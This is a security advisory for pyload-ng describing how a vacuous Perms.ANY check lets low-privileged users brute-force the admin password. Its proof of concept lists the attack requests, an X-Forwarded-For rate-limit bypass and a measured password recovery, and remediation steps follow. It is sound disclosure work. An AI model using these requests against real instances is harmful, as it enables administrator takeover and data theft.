PT-2026-117588 · Pypi · Pyload-Ng

Published

2026-10-09

·

Updated

2026-10-09

CVSS v3.1

8.1

High

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Summary

Api.getUserData (legacy) and Api.get userdata are declared with @permission(Perms.ANY) and are reachable at /api/getUserData and /api/get userdata. Because Perms.ANY == 0 and pyLoad's permission check is a bitmask AND, that gate is a no-op: every authenticated account passes, including one holding zero permission bits.
Both methods are thin wrappers around check auth(), which the maintainers deliberately restricted to administrators by omitting @permission (no entry in perm map, so is authorized() returns False for non-admins). The wrappers undo that protection.
An attacker holding the lowest-privileged account in the system therefore has a clean binary oracle on the administrator password, with no account lockout anywhere in the codebase, and with the 100 req/min rate limiter bypassable by rotating X-Forwarded-For.

Affected code

src/pyload/core/api/ init .py:1446 and :1464
python
  #: Old API
  @permission(Perms.ANY)
  @get
  def getUserData(self, username: str, password: str) -> OldUserData:
    """
    similar to `check auth` but returns UserData type.
    """
    user = self.check auth(username, password)
    ...

  @permission(Perms.ANY)
  @get
  def get userdata(self, username: str, password: str) -> UserData:
    user = self.check auth(username, password)
    ...

Root cause

src/pyload/core/api/ init .py:57
python
class Perms(IntFlag):
  ANY = 0 #: requires no permission, but login
src/pyload/core/api/ init .py:108
python
def has permission(user perms: Perms, required perms: Perms):
  return required perms == (user perms & required perms)
For required perms == 0 this evaluates to 0 == (user perms & 0) → 0 == 0 → always True. The @permission(Perms.ANY) gate therefore admits every authenticated principal regardless of which permission bits they hold.
Contrast with the intended admin-only primitive, src/pyload/core/api/ init .py:1396:
python
  @legacy("checkAuth")
  @get
  def check auth(self, username: str, password: str) -> dict[str, Any]:
check auth has no @permission; is authorized() at api/ init .py:1430 returns False for non-admins. The two wrappers carry Perms.ANY and restore access for everyone.
Because both wrappers also carry @get, they are placed in method map and are directly routable via /api/<func>.

Amplifiers

1. No lockout. There is no failed-login counter, delay, or ban anywhere in the codebase. A failed guess costs the attacker only one PBKDF2 computation.
2. Rate limiting is bypassable. /api/* applies rate limit(count=100, period=60) (src/pyload/webui/app/blueprints/api blueprint.py:25), which buckets on a fully client-controlled header (src/pyload/webui/app/helpers.py:446):
python
client ip = flask.request.headers.get("X-Forwarded-For", "").split(",")[0].strip() 
  or flask.request.remote addr
Rotating X-Forwarded-For per request yields a fresh bucket each time. Notably, is loopback request() in the same file (helpers.py:288-294) explicitly treats the presence of X-Forwarded-For / X-Real-IP / Forwarded as untrustworthy — the same guard was evidently not applied inside rate limit().

Impact

Online brute force of the administrator account leading to full administrative takeover. A successful response additionally discloses the target account's id, name, email, role, and permission bits.

Proof of concept

Verified against 0.5.0b3, commit a5b008958.
Setup: stock instance with admin pyload, plus a non-admin user bob created with role=USER and permission=0.
Step 1 — establish that bob is genuinely unprivileged:
GET /api/checkAuth?username=pyload&password=pyload  -> 401 {"error": "Access denied"}
GET /api/getAllUserData               -> 401 {"error": "Access denied"}
Step 2 — the flaw. Same user, same session, Perms.ANY gate:
GET /api/getUserData?username=pyload&password=WRONG
 -> 200 {"name": null, "email": null, "role": null, "permission": null, "template name": null}

GET /api/getUserData?username=pyload&password=pyload
 -> 200 {"name": "pyload", "email": "", "role": 0, "permission": 0, "template name": "default"}
role: 0 is Role.ADMIN. get userdata behaves identically. This is a perfect yes/no oracle.
Step 3 — measured brute force and recovery. Run as bob (permission = 0), admin password set to a 2-character value, X-Forwarded-For rotated on every request:
attempts     : 667
elapsed     : 39.7s  (16.8 guesses/sec)
429 rate-limits : 0
account lockout : NONE - same session authenticated throughout
RECOVERED SECRET : 'zq'  (true value 'zq')  match=True
Step 4 — full takeover with the recovered secret:
POST /login as pyload/<recovered>    -> HTTP 302 (authenticated as admin)
GET /api/getAllUserData (admin-only) -> HTTP 200 (full user dump)
Measured throughput is 17-47 guesses/sec/thread. The only bound is PBKDF2-HMAC-SHA256 at 100,000 iterations in src/pyload/core/database/user database.py:14, not any rate limit.

Suggested remediation

  • Remove @permission(Perms.ANY) from getUserData and get userdata, or drop them entirely — they are legacy compatibility shims, and modern callers already use the admin-only check auth.
  • Structurally: Perms.ANY = 0 makes has permission() vacuous, so any method decorated @permission(Perms.ANY) silently becomes public to every logged-in user. Give ANY a real bit value, or handle it explicitly in has permission() as "requires an authenticated session".
  • Do not trust X-Forwarded-For unless a trusted-proxy deployment is explicitly configured. Otherwise bucket rate limit() on request.remote addr, or add the same guard is loopback request() already uses.
  • Add per-account failed-authentication throttling or lockout.
  • Consider hmac.compare digest() in check password() (src/pyload/core/database/user database.py:61 uses a plain == on the derived hash, contradicting the "always use compare digest" guidance two files away).

Notes for triage

There is no 0.5.0b3 release on PyPI. The develop branch auto-publishes dev builds (setup.py:86 appends .dev<build> to the VERSION file); the newest at time of testing was 0.5.0b3.dev101. The Perms.ANY = 0 design is long-standing, but only the 0.5.0b3.dev* line was verified here — please confirm whether 0.5.0b2.* and 0.4.x are affected before finalizing the version range.

Fix

Improper Authentication

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-68W4-83FH-F2W8

Affected Products

Pyload-Ng